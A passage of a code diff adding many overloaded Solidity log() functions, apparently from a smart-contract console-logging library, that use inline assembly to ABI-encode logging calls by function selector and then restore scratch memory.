+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,uint256)`.
+            mstore(0x00, 0x4f04fdc6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,address,string)`.
+            mstore(0x00, 0x9ffb2f93)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,address)`.
+            mstore(0x00, 0xe0e95b98)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,bool)`.
+            mstore(0x00, 0x354c36d6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,uint256)`.
+            mstore(0x00, 0xe41b6f6f)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,bool,string)`.
+            mstore(0x00, 0xabf73a98)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,address)`.
+            mstore(0x00, 0xe21de278)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,bool)`.
+            mstore(0x00, 0x7626db92)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,uint256)`.
+            mstore(0x00, 0xa7a87853)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,uint256,string)`.
+            mstore(0x00, 0x854b3496)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,address)`.
+            mstore(0x00, 0x7c4632a4)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,bool)`.
+            mstore(0x00, 0x7d24491d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,uint256)`.
+            mstore(0x00, 0xc67ea9d1)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,uint256,string,string)`.
+            mstore(0x00, 0x5ab84e1f)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,address)`.
+            mstore(0x00, 0x439c7bef)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,bool)`.
+            mstore(0x00, 0x5ccd4e37)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,uint256)`.
+            mstore(0x00, 0x7cc3c607)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,address,string)`.
+            mstore(0x00, 0xeb1bff80)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,address)`.
+            mstore(0x00, 0xc371c7db)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,bool)`.
+            mstore(0x00, 0x40785869)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,uint256)`.
+            mstore(0x00, 0xd6aefad2)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
